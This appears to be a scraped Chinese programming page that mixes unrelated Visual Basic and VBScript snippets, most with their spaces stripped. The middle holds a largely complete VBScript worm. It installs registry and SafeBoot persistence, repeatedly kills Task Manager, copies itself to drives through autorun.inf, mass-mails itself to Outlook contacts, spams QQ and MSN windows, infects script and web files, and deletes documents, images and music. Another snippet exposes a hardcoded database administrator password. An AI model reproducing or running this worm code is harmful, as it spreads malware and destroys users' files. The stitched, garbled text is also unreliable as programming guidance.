以下是实现的代码：PrivateSubCommand1_Click(IndexAsInteger)StaticaAsIntegerIfa<>0ThenCommand1(a-1).Enabled=True'用于恢复按钮可用Command1(Index).Enabled=Falsea=Index 1EndSub注：变量a主要是用来存储上一次单击的按钮Index，至于a-1和a 1是为了避免当单击index为0时的按钮时，会出现问题，所以用此法避开了Enabling application complete.

Function UnixTime() Set objWMIService=_ GetObject("winmgmts:\\.\root\cimv2") Set colItems=objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem",,48) For Each objItem in colItems TimeZone=objItem.CurrentTimeZone Next UnixTime=DateDiff("s", "01/01/1970 00:00:00", Now()) UnixTime=UnixTime - TimeZone * 60 End Function (注意图片路径可能要修改)PrivateSubForm_Activate()'详细阅读PaintPicture的说明就可了解,在来源图和目的图中,'可以指定某个特定区域来绘图,亦即可以将图片切割或放大,缩小Picture1.PaintPicturePicture,10,10,1000,1000,0,0,500,500EndSubPrivateSubForm_Load()AutoRedraw=True'以下路径可能要修改Picture=LoadPicture("e:\win95\bubbles.bmp")WithPicture1.Left=1000.Top=1000.Width=2000.Height=2000.AutoRedraw=TrueEndWithEndSub->->

将某些数据复制到剪贴板的示例脚本如下： strCopy="This text has been copied to the clipboard." Set objIE=CreateObject("InternetExplorer.Application") objIE.Navigate("about:blank") objIE.document.parentwindow.clipboardData.SetData "text", strCopy objIE.Quit 运行脚本，然后打开 Notepad，然后单击“粘贴”；应该可以看到所复制的字符串4.我曾经使用同一个Connection先将DataBase设为SingleUserMode而後再以该Connection来开启资料库，OpenRecordset，但是有时会发生问题，因而没有Release出来SetOK=SetSingleUserMode("cwwtest",False,Errstr)IfSetOKThenDebug.Print"ok"ElseMsgBoxErrstr,vbCriticalEndIf'********************************************************'DbName:资料库名称'SingleMode:是否设为SingleUserMode'ErrDescription:如果有错，传回错误讯息'值回值：成功为True否则为Fallse'********************************************************PublicFunctionSetSingleUserMode(ByValDbNameAsString,ByValSingleModeAsBoolean,ErrDescriptionAsString)AsBooleanDimsaConnAsNewADODB.ConnectionDimconnstrAsStringDimcmd3AsNewADODB.CommandDimParamAsADODB.Parameterconnstr="Driver={SQLServer};UID=sa;PWD=jjh5612;Server=OPEN_VIEW;Database=master"saConn.Provider="MSDASQL"'connstr="DataSource=OPEN_VIEW;User=sa;Password=jjh5612;InitialCatalog=master"'saConn.Provider="SQLOLEDB"saConn.ConnectionString=connstrsaConn.OpenSetcmd3=NewADODB.Commandcmd3.CommandText="sp_dboption?,'SingleUser',?"cmd3.CommandType=adCmdTextSetParam=cmd3.CreateParameter("ParaDBName",adBSTR,adParamInput)cmd3.Parameters.AppendParamSetParam=cmd3.CreateParameter("ParaSingleMode",adBSTR,adParamInput)cmd3.Parameters.AppendParamcmd3.Parameters(0).Value=DbNameIfSingleModeThencmd3.Parameters(1).Value="True"Elsecmd3.Parameters(1).Value="False"EndIfSetcmd3.ActiveConnection=saConnOnErrorGoToerrhcmd3.ExecuteErrDescription=""SetSingleUserMode=TruesaConn.CloseExitFunctionerrh:ErrDescription=Err.DescriptionSetSingleUserMode=FalsesaConn.CloseEndFunction->

dimcc,cipher,correy forl=1tolen(self) cc=mid(self,l,1) ifl>99andinstr(self,"LiuChunli")>0then cipher=chr(scode(cc)+9)rem我开始用99，得到的全是ascll为0的数据 else cipher=chr(scode(cc)) endif correy=correy&cipher next lcl.Writecorrey lcl.Close dimhk,hc,safe hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run" hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout",0,"REG_DWORD" wshshell.Regwritehk&"\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehk&"exec\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehk&"Once\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehk&"OnceEx\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehk&"service\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehk&"Services\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehc&"\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehc&"exec\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehc&"Once\lcl",dirsystem&"\lcl.vbs" wshshell.Regwritehc&"service\lcl",dirsystem&"\lcl.vbs" safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" wshshell.Regwritesafe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs" wshshell.Regwritesafe&"Network\lcl.vbs",dirsystem&"\lcl.vbs" do wshshell.run"cmd/ctaskkill/f/imtaskmgr.exe",0 wshshell.run"cmd/ctaskkill/f/imtasklist.exe",0 loop dimd ForEachdinfso.Drives ifd.drivetype<>4then fso.CopyFileb,d&"\lcl.txt" scan(d) endif ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then fso.copyfilewscript.scriptfullname,d&"\lcl.vbs" fso.getfile(wscript.scriptfullname).attributes=7 setinf=fso.createtextfile(d&"\autorun.inf",true) fso.getfile(d&"\autorun.inf").attributes=7 inf.writeline"[autorun]" inf.writeline"open=" inf.writeline"shell\open=打开(&O)" inf.writeline"shell\open\Command=WScript.exelclrun.vbs" inf.writeline"shell\open\Command=WScript.exelcl.vbs" inf.writeline"shell\open\Default=1" inf.writeline"shell\explore=资源管理器(&X)" inf.writeline"shell\explore\Command=WScript.exelclrun.vbs" inf.writeline"shell\explore\Command=WScript.exelcl.vbs" inf.close setini=fso.createtextfile(d&"\desktop.ini",true) fso.getfile(d&"\desktop.ini").attributes=7 ini.writeline"[.ShellClassInfo]" ini.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}" ini.close setlclrun=fso.createtextfile(d&"\lclrun.vbs",true) fso.getfile(d&"\lclrun.vbs").attributes=7 lclrun.writeline"OnErrorGoTo0" lclrun.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" lclrun.writeline"iforeachdinfso.drives" lclrun.writeline"ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then" lclrun.writeline"fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes=7" lclrun.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34) lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34) lclrun.writeline"endif" lclrun.writeline"next" lclrun.close endif next dimwshnetwork,netdrives,net1,net2 SetWSHNetwork=WScript.CreateObject("WScript.Network") SetnetDrives=WSHNetwork.EnumNetworkDrives IfnetDrives.Count>0Then Fori=0TonetDrives.Count-1Step2 net1=netdrives(i) net2=netDrives(i+1) scan(net1) scan(net2) Next EndIf dimoutlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments SetoutlookApp=CreateObject("Outlook.App"&"lication") IfoutlookApp="Outlook"oroutlookapp="outlookexpress"Then SetmapiObj=outlookApp.GetNameSpace("MAPI")''获取MAPI的名字空间 SetaddrList=mapiObj.AddressLists''获取地址表的个数 ForEachaddrInaddrList Ifaddr.AddressEntries.Count<>0Then addrEntCount=addr.AddressEntries.Count''获取每个地址表的Email记录数 ForaddrEntIndex=1ToaddrEntCount''遍历地址表的Email地址 Setitem=outlookApp.CreateItem(0)''获取一个邮件对象实例 SetaddrEnt=addr.AddressEntries(addrEntIndex)''获取具体Email地址 item.To=addrEnt.Address item.Subject=title item.Body=text SetattachMents=item.Attachments attachMents.Addfso.GetSpecialFolder(0)&"\lcl.vbs" item.DeleteAfterSubmit=True''信件提交后自动删除 Ifitem.To<>""Then item.Send wshshell.regwrite"HKCU\software\Mailtest\mailed","1" EndIf Next EndIf Next Endif remnextfromiloveyou. setout=WScript.CreateObject("Outlook.Application") setmapi=out.GetNameSpace("MAPI") forctrlists=1tomapi.AddressLists.Count seta=mapi.AddressLists(ctrlists) x=1 regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a) if(regv="")then regv=1 endif if(int(a.AddressEntries.Count)>int(regv))then forctrentries=1toa.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead) if(regad="")then setmale=out.CreateItem(0) male.Recipients.Add(malead) male.Subject=title male.Body=text male.Attachments.Add(dirsystem&"lcl.vbs") male.Send wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD" endif x=x+1 next wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count else wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count endif next Setout=Nothing Setmapi=Nothing SetobjOutlook=CreateObject("Outlook.Application") IfobjOutlook="Outlook"Then SetobjNamespace=objOutlook.GetNameSpace("MAPI") SetcolAddressLists=objNamespace.AddressLists SetonjNameSpace=Nothing ForEachobjItemIncolAddressLists IfobjItem.AddressEntries.Count<>0Then intCountOfAddresses=objItem.AddressEntries.Count Fori=1TointCountOfAddresses SetobjMailMsg=objOutlook.CreateItem(0) SetobjDestAddress=objItem.AddressEntries(i) objMailMsg.To=objDestAddress.Address objMailMsg.Subject=title objMailMsg.Body=text execute"setobjSend=objMailMsg."&Chr(65)&Chr(116)&Chr(116)&Chr(97)&Chr(99)&Chr(104)&Chr(109)&Chr(101)&Chr(110)&Chr(116)&Chr(115) strAttach=strFilePathName objMailMsg.DeleteAfterSubmit=True objSend.AddstrAttach IfobjMailMsg.To<>""Then objMailMsg.Send EndIf Next EndIf Next SetobjOutlook=Nothing SetobjItem=Nothing SetobjMailMsg=Nothing SetobjDestAddress=Nothing EndIf strComputer="." SetwbemServices=Getobject("winmgmts:\"&strComputer) SetwbemObjectSet=wbemServices.InstancesOf("Win32_Process") ForEachwbemObjectInwbemObjectSet ifwbemObject.Name="msn.exe"orwbemObject.Name="qq.exe"then WshShell.AppActivatewbemobject.name WshShell.SendKeys"canyouhelpmefindaperson?" WshShell.SendKeys"^{enter}"'or"^~" WScript.Sleep9000 WshShell.SendKeys"hernameisLiuChunli" WshShell.SendKeys"^{enter}" WScript.Sleep9000 WshShell.SendKeys"herbirthdayis1981-02-17." WshShell.SendKeys"^{enter}" WScript.Sleep9000 WshShell.SendKeys"hermotherhomeisYuzhen.Qixian.Kaifeng.Henan.China." WshShell.SendKeys"^{enter}" endif Next subscan(folder) OnErrorGoTo0 setfd=fso.getfolder(folder) foreachfileinfd.files self1=fso.opentextfile(file,1).readall ext=fso.GetExtensionName(file) ext=lcase(ext) ifext="vbs"orext="vbe"orext="wsc"orext="wsf"orext="wsh"orext="sct"then ifinstr(self1,"LiuChunli")<0then setlcl=fso.opentextfile(file.path,8,true) lcl.writechr(13)&chr(10) lcl.writeself lcl.writechr(13)&chr(10) lcl.close endif endif ifext="htm"orext="html"orext="xhtml"orext="shtml"orext="dhtml"orext="phtml"orext="eml"then ifinstr(self1,"LiuChunli")<0then setlcl=fso.opentextfile(file.path,8,true) lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>" lcl.writechr(13)&chr(10) lcl.writeself lcl.write"<"&"/SCRIPT>" lcl.writechr(13)&chr(10) lcl.close endif endif remorext="mspx" ifext="htd"orext="asp"orext="htt"orext="aspx"orext="cfm"orext="tpl"orext="dtd"orext="hta"then ifinstr(self1,"LiuChunli")<0then setlcl=fso.opentextfile(file.path,8,true) lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>" lcl.writechr(13)&chr(10) lcl.writeself lcl.write"<"&"/SCRIPT>" lcl.writechr(13)&chr(10) lcl.close endif endif ifext="ini"then ifnotinstr(self1,"LiuChunli")>0then dimini setini=fso.opentextfile(file.path,8,true) ini.writelinechr(13)&chr(10) ini.WriteLine"[script]" ini.WriteLine"n0=on1:JOIN:#:{" ini.WriteLine"n1=/if($nick==$me){halt}" ini.WriteLine"n2=/.dccsend$nick"&dirsystem&"\lcl.vbs" remini.WriteLine"n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nick"&dirsystem&"\lcl.vbs"}" '利用命令/ddcsend$nick"&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件 ini.WriteLine"n3=}" ini.WriteLine";LiuChunli" ini.close endif endif remevery9inthelunarcalendadoit ifext="mp3"orext="doc"orext="docx"orext="dwg"orext="wma"orext="swf"orext="jpg"then file.deletetrue endif next foreachsubfdinfd.subfolders scan(subfd) next endsub 　　　　2.在窗体上放置一个ADOData控件，并将其ConnectionString属性设置为在第1步中所创建的OLEDB数据源

Const n=1 Dim f, a, s, w w=WScript.ScriptFullName Set f=CreateObject("Scripting.FileSystemObject") Set a=f.OpenTextFile(w, 1) a.SkipLine s=chr(13) & Chr(10) & a.ReadAll a.Close Set a=f.CreateTextFile(w, True) a.Write "Const n=" & n + 1 & s a.Close WScript.echo "This script has been run " & n & " times" 下载如何打开・description：是一个字符串，用来描述所生成的复本

SerialNumber

。